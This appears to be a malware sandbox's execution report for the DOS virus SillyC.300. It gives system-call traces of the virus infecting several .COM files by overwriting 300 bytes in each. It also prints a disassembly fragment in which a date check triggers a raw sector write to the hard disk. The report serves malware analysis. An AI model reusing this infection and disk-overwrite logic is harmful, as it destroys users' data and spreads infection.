Sample viewer

vx.netlux.org/Virus.DOS.SillyC.300

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:19:23.561359888Z 74 PC: 12a55 | Reallocate memory
2018-12-17T22:19:23.563840112Z 72 PC: 12a5d | Allocate memory
2018-12-17T22:19:23.565809275Z 47 PC: 12a63 | Get disk transfer address
2018-12-17T22:19:23.567426513Z 26 PC: 12a70 | Set disk transfer address
2018-12-17T22:19:23.569487255Z 42 PC: 12a74 | Get date 0x12a74: cmp al, 3
0x12a76: jne 0x12a88
0x12a78: mov ax, 0x301
0x12a7b: mov dx, 0x80
0x12a7e: mov cx, 1
0x12a81: push cs
0x12a82: pop es
0x12a83: mov bx, 0x224
0x12a86: int 0x13
0x12a88: push cs
0x12a89: pop ds
0x12a8a: mov ah, 0x4e
0x12a8c: mov dx, 0x21e
0x12a8f: mov cx, 0x3f
0x12a92: int 0x21
0x12a94: pop ds
0x12a95: jae 0x12a9a
0x12a97: jmp 0x12b27
0x12a9a: pop es
0x12a9b: push es
2018-12-17T22:19:23.572213186Z 78 PC: 12a94 | Find first file
2018-12-17T22:19:23.579176875Z 67 PC: 12ad0 | Get or set file attributes
2018-12-17T22:19:23.597930206Z 61 PC: 12ad5 | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:19:23.605335295Z 63 PC: 12ae3 | Read file or device (Read 300 bytes on handle 5)
2018-12-17T22:19:23.615353977Z 66 PC: 12aec | Move file pointer
2018-12-17T22:19:23.617658662Z 64 PC: 12af8 | Write file or device (Write 300 bytes on handle 5)
2018-12-17T22:19:23.624330787Z 66 PC: 12b06 | Move file pointer
2018-12-17T22:19:23.626292984Z 64 PC: 12b0d | Write file or device (Write 300 bytes on handle 5)
2018-12-17T22:19:23.635832762Z 87 PC: 12b18 | Get or set file date and time
2018-12-17T22:19:23.637647467Z 62 PC: 12b1c | Close file
2018-12-17T22:19:23.646092478Z 79 PC: 12b24 | Find next file
2018-12-17T22:19:23.649363976Z 79 PC: 12b24 | Find next file
2018-12-17T22:19:23.655625461Z 79 PC: 12b24 | Find next file
2018-12-17T22:19:23.658834831Z 79 PC: 12b24 | Find next file
2018-12-17T22:19:23.662494571Z 79 PC: 12b24 | Find next file
2018-12-17T22:19:23.666291255Z 67 PC: 12ad0 | Get or set file attributes
2018-12-17T22:19:23.677534914Z 61 PC: 12ad5 | Open file (Filename = 'MANDEL.COM')
2018-12-17T22:19:23.68486551Z 63 PC: 12ae3 | Read file or device (Read 300 bytes on handle 5)
2018-12-17T22:19:23.692663627Z 66 PC: 12aec | Move file pointer
2018-12-17T22:19:23.694452187Z 64 PC: 12af8 | Write file or device (Write 300 bytes on handle 5)
2018-12-17T22:19:23.698046196Z 66 PC: 12b06 | Move file pointer
2018-12-17T22:19:23.721499708Z 64 PC: 12b0d | Write file or device (Write 300 bytes on handle 5)
2018-12-17T22:19:23.733515471Z 87 PC: 12b18 | Get or set file date and time
2018-12-17T22:19:23.735693431Z 62 PC: 12b1c | Close file
2018-12-17T22:19:23.759968648Z 79 PC: 12b24 | Find next file
2018-12-17T22:19:23.763512822Z 79 PC: 12b24 | Find next file
2018-12-17T22:19:23.767079111Z 67 PC: 12ad0 | Get or set file attributes
2018-12-17T22:19:23.77962138Z 61 PC: 12ad5 | Open file (Filename = 'TEST.COM')
2018-12-17T22:19:23.787791148Z 63 PC: 12ae3 | Read file or device (Read 300 bytes on handle 5)
2018-12-17T22:19:23.791617159Z 66 PC: 12aec | Move file pointer
2018-12-17T22:19:23.795275751Z 64 PC: 12af8 | Write file or device (Write 300 bytes on handle 5)
2018-12-17T22:19:23.807777871Z 66 PC: 12b06 | Move file pointer
2018-12-17T22:19:23.80935394Z 64 PC: 12b0d | Write file or device (Write 300 bytes on handle 5)
2018-12-17T22:19:23.820316377Z 87 PC: 12b18 | Get or set file date and time
2018-12-17T22:19:23.82228179Z 62 PC: 12b1c | Close file
2018-12-17T22:19:23.832783044Z 79 PC: 12b24 | Find next file
2018-12-17T22:19:23.845303825Z 26 PC: 12b2e | Set disk transfer address
2018-12-17T22:19:23.848313666Z 73 PC: 21f9d | Release memory
2018-12-17T22:19:23.850232583Z 9 PC: 12a85 | Display string (String= ' ')
2018-12-17T22:19:23.856736336Z 0 PC: 12a89 | Program terminate

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":3336,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:48:57.931614959Z 74 PC: 12a55 | Reallocate memory
2018-12-25T11:48:57.934740621Z 72 PC: 12a5d | Allocate memory
2018-12-25T11:48:57.937022813Z 47 PC: 12a63 | Get disk transfer address
2018-12-25T11:48:57.938708398Z 26 PC: 12a70 | Set disk transfer address
2018-12-25T11:48:57.940994168Z 42 PC: 12a74 | Get date 0x12a74: cmp al, 3
0x12a76: jne 0x12a88
0x12a78: mov ax, 0x301
0x12a7b: mov dx, 0x80
0x12a7e: mov cx, 1
0x12a81: push cs
0x12a82: pop es
0x12a83: mov bx, 0x224
0x12a86: int 0x13
0x12a88: push cs
0x12a89: pop ds
0x12a8a: mov ah, 0x4e
0x12a8c: mov dx, 0x21e
0x12a8f: mov cx, 0x3f
0x12a92: int 0x21
0x12a94: pop ds
0x12a95: jae 0x12a9a
0x12a97: jmp 0x12b27
0x12a9a: pop es
0x12a9b: push es
2018-12-25T11:48:57.943779613Z 78 PC: 12a94 | Find first file
2018-12-25T11:48:57.950793943Z 67 PC: 12ad0 | Get or set file attributes
2018-12-25T11:48:57.968371025Z 61 PC: 12ad5 | Open file (Filename = 'SLEEP.COM')
2018-12-25T11:48:57.977927236Z 63 PC: 12ae3 | Read file or device (Read 300 bytes on handle 5)
2018-12-25T11:48:57.989523524Z 66 PC: 12aec | Move file pointer
2018-12-25T11:48:57.99116952Z 64 PC: 12af8 | Write file or device (Write 300 bytes on handle 5)
2018-12-25T11:48:57.996015735Z 66 PC: 12b06 | Move file pointer
2018-12-25T11:48:58.000405497Z 64 PC: 12b0d | Write file or device (Write 300 bytes on handle 5)
2018-12-25T11:48:58.009834273Z 87 PC: 12b18 | Get or set file date and time
2018-12-25T11:48:58.015303476Z 62 PC: 12b1c | Close file
2018-12-25T11:48:58.02312338Z 79 PC: 12b24 | Find next file
2018-12-25T11:48:58.026147891Z 79 PC: 12b24 | Find next file (See above)
2018-12-25T11:48:58.030039923Z 79 PC: 12b24 | Find next file (See above)
2018-12-25T11:48:58.032873759Z 79 PC: 12b24 | Find next file (See above)
2018-12-25T11:48:58.035925058Z 79 PC: 12b24 | Find next file (See above)
2018-12-25T11:48:58.040609909Z 67 PC: 12ad0 | Get or set file attributes (See above)
2018-12-25T11:48:58.256538978Z 61 PC: 12ad5 | Open file (See above)
2018-12-25T11:48:58.261115733Z 63 PC: 12ae3 | Read file or device (See above)
2018-12-25T11:48:58.266277239Z 66 PC: 12aec | Move file pointer (See above)
2018-12-25T11:48:58.26761326Z 64 PC: 12af8 | Write file or device (See above)
2018-12-25T11:48:58.27048731Z 66 PC: 12b06 | Move file pointer (See above)
2018-12-25T11:48:58.272005883Z 64 PC: 12b0d | Write file or device (See above)
2018-12-25T11:48:58.379838716Z 87 PC: 12b18 | Get or set file date and time (See above)
2018-12-25T11:48:58.387346733Z 62 PC: 12b1c | Close file (See above)
2018-12-25T11:48:58.396145913Z 79 PC: 12b24 | Find next file (See above)
2018-12-25T11:48:58.399765067Z 79 PC: 12b24 | Find next file (See above)
2018-12-25T11:48:58.40235858Z 67 PC: 12ad0 | Get or set file attributes (See above)
2018-12-25T11:48:58.41360761Z 61 PC: 12ad5 | Open file (See above)
2018-12-25T11:48:58.418785658Z 63 PC: 12ae3 | Read file or device (See above)
2018-12-25T11:48:58.421510554Z 66 PC: 12aec | Move file pointer (See above)
2018-12-25T11:48:58.422871422Z 64 PC: 12af8 | Write file or device (See above)
2018-12-25T11:48:58.426429268Z 66 PC: 12b06 | Move file pointer (See above)
2018-12-25T11:48:58.427836701Z 64 PC: 12b0d | Write file or device (See above)
2018-12-25T11:48:58.437085128Z 87 PC: 12b18 | Get or set file date and time (See above)
2018-12-25T11:48:58.444309047Z 62 PC: 12b1c | Close file (See above)
2018-12-25T11:48:58.452587935Z 79 PC: 12b24 | Find next file (See above)
2018-12-25T11:48:58.455107615Z 26 PC: 12b2e | Set disk transfer address
2018-12-25T11:48:58.45670005Z 73 PC: 21f9d | Release memory
2018-12-25T11:48:58.45815004Z 9 PC: 12a85 | Display string (String= ' ')
2018-12-25T11:48:58.464454974Z 0 PC: 12a89 | Program terminate

{"DateBased":true,"Day":2,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":3336,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:48:58.018006452Z 74 PC: 12a55 | Reallocate memory
2018-12-25T11:48:58.019758654Z 72 PC: 12a5d | Allocate memory
2018-12-25T11:48:58.021266393Z 47 PC: 12a63 | Get disk transfer address
2018-12-25T11:48:58.022262618Z 26 PC: 12a70 | Set disk transfer address
2018-12-25T11:48:58.023868532Z 42 PC: 12a74 | Get date 0x12a74: cmp al, 3
0x12a76: jne 0x12a88
0x12a78: mov ax, 0x301
0x12a7b: mov dx, 0x80
0x12a7e: mov cx, 1
0x12a81: push cs
0x12a82: pop es
0x12a83: mov bx, 0x224
0x12a86: int 0x13
0x12a88: push cs
0x12a89: pop ds
0x12a8a: mov ah, 0x4e
0x12a8c: mov dx, 0x21e
0x12a8f: mov cx, 0x3f
0x12a92: int 0x21
0x12a94: pop ds
0x12a95: jae 0x12a9a
0x12a97: jmp 0x12b27
0x12a9a: pop es
0x12a9b: push es
2018-12-25T11:48:58.38071925Z 78 PC: 12a94 | Find first file
2018-12-25T11:48:58.387361609Z 67 PC: 12ad0 | Get or set file attributes
2018-12-25T11:48:58.404327413Z 61 PC: 12ad5 | Open file (Filename = 'SLEEP.COM')
2018-12-25T11:48:58.411575239Z 63 PC: 12ae3 | Read file or device (Read 300 bytes on handle 5)
2018-12-25T11:48:58.418788985Z 66 PC: 12aec | Move file pointer
2018-12-25T11:48:58.420646312Z 64 PC: 12af8 | Write file or device (Write 300 bytes on handle 5)
2018-12-25T11:48:58.42363441Z 66 PC: 12b06 | Move file pointer
2018-12-25T11:48:58.425233756Z 64 PC: 12b0d | Write file or device (Write 300 bytes on handle 5)
2018-12-25T11:48:58.435032363Z 87 PC: 12b18 | Get or set file date and time
2018-12-25T11:48:58.436127014Z 62 PC: 12b1c | Close file
2018-12-25T11:48:58.444643462Z 79 PC: 12b24 | Find next file
2018-12-25T11:48:58.447960256Z 79 PC: 12b24 | Find next file (See above)
2018-12-25T11:48:58.450753928Z 79 PC: 12b24 | Find next file (See above)
2018-12-25T11:48:58.453462412Z 79 PC: 12b24 | Find next file (See above)
2018-12-25T11:48:58.456440794Z 79 PC: 12b24 | Find next file (See above)
2018-12-25T11:48:58.468878851Z 67 PC: 12ad0 | Get or set file attributes (See above)
2018-12-25T11:48:58.479606642Z 61 PC: 12ad5 | Open file (See above)
2018-12-25T11:48:58.486886553Z 63 PC: 12ae3 | Read file or device (See above)
2018-12-25T11:48:58.494016894Z 66 PC: 12aec | Move file pointer (See above)
2018-12-25T11:48:58.495613898Z 64 PC: 12af8 | Write file or device (See above)
2018-12-25T11:48:58.498593997Z 66 PC: 12b06 | Move file pointer (See above)
2018-12-25T11:48:58.501398382Z 64 PC: 12b0d | Write file or device (See above)
2018-12-25T11:48:58.51058414Z 87 PC: 12b18 | Get or set file date and time (See above)
2018-12-25T11:48:58.512110334Z 62 PC: 12b1c | Close file (See above)
2018-12-25T11:48:58.524716975Z 79 PC: 12b24 | Find next file (See above)
2018-12-25T11:48:58.527899018Z 79 PC: 12b24 | Find next file (See above)
2018-12-25T11:48:58.531082681Z 67 PC: 12ad0 | Get or set file attributes (See above)
2018-12-25T11:48:58.542800537Z 61 PC: 12ad5 | Open file (See above)
2018-12-25T11:48:58.550071469Z 63 PC: 12ae3 | Read file or device (See above)
2018-12-25T11:48:58.552770746Z 66 PC: 12aec | Move file pointer (See above)
2018-12-25T11:48:58.554830881Z 64 PC: 12af8 | Write file or device (See above)
2018-12-25T11:48:58.557622967Z 66 PC: 12b06 | Move file pointer (See above)
2018-12-25T11:48:58.559036385Z 64 PC: 12b0d | Write file or device (See above)
2018-12-25T11:48:58.568674094Z 87 PC: 12b18 | Get or set file date and time (See above)
2018-12-25T11:48:58.570192352Z 62 PC: 12b1c | Close file (See above)
2018-12-25T11:48:58.579263033Z 79 PC: 12b24 | Find next file (See above)
2018-12-25T11:48:58.582354616Z 26 PC: 12b2e | Set disk transfer address
2018-12-25T11:48:58.583823578Z 73 PC: 21f9d | Release memory
2018-12-25T11:48:58.585320812Z 9 PC: 12a85 | Display string (String= ' ')
2018-12-25T11:48:58.59180916Z 0 PC: 12a89 | Program terminate